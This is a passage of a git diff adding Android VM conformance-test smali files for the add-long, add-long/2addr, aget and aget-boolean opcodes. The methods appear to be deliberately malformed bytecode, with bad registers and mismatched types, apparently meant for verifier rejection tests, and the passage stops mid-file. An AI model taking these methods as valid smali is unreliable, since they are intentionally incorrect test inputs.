+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_3.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v5, 12345
+       add-long v0, v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali
new file mode 100644
index 0000000..7e2382c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_5.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v2, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali
new file mode 100644
index 0000000..163c4c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_6.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       add-long v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali
new file mode 100644
index 0000000..21e8983
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v3, v5
+       return-wide v3
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali
new file mode 100644
index 0000000..f30b123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v3, v7
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali
new file mode 100644
index 0000000..810cb98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v5, 12345
+       add-long/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali
new file mode 100644
index 0000000..5e0caab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v2, v5
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali
new file mode 100644
index 0000000..fa88812
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 7
+
+       const-wide v2, 31415
+       add-long/2addr v2, v5
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali
new file mode 100644
index 0000000..07905c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_1.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali
new file mode 100644
index 0000000..8b73bb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_2.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ID)I
+.registers 9
+
+       aget v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali
new file mode 100644
index 0000000..8aaf9e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_3.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IJ)I
+.registers 9
+
+       aget v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali
new file mode 100644
index 0000000..2e5f17d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_4.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali
new file mode 100644
index 0000000..4700764
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_5.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali
new file mode 100644
index 0000000..80b26fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_6.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali
new file mode 100644
index 0000000..436234b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_7.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali
new file mode 100644
index 0000000..23caac9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_8.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IF)I
+.registers 9
+
+       aget v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali
new file mode 100644
index 0000000..4a04005
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget/d/T_aget_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_9.java"
+.class  public Ldot/junit/opcodes/aget/d/T_aget_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)I
+.registers 9
+
+       aget v0, v7, v9
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali
new file mode 100644
index 0000000..a7b7ea9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_1.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali
new file mode 100644
index 0000000..b6360e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_2.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZD)Z
+.registers 9
+
+       aget-boolean v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali
new file mode 100644
index 0000000..2c9357e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_3.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZJ)Z
+.registers 9
+
+       aget-boolean v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali
new file mode 100644
index 0000000..a25a500
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_4.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali
new file mode 100644
index 0000000..e179797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_5.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali
new file mode 100644
index 0000000..16857bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_6.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali
new file mode 100644
index 0000000..1d5b498
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_7.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali
new file mode 100644
index 0000000..3752ec0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
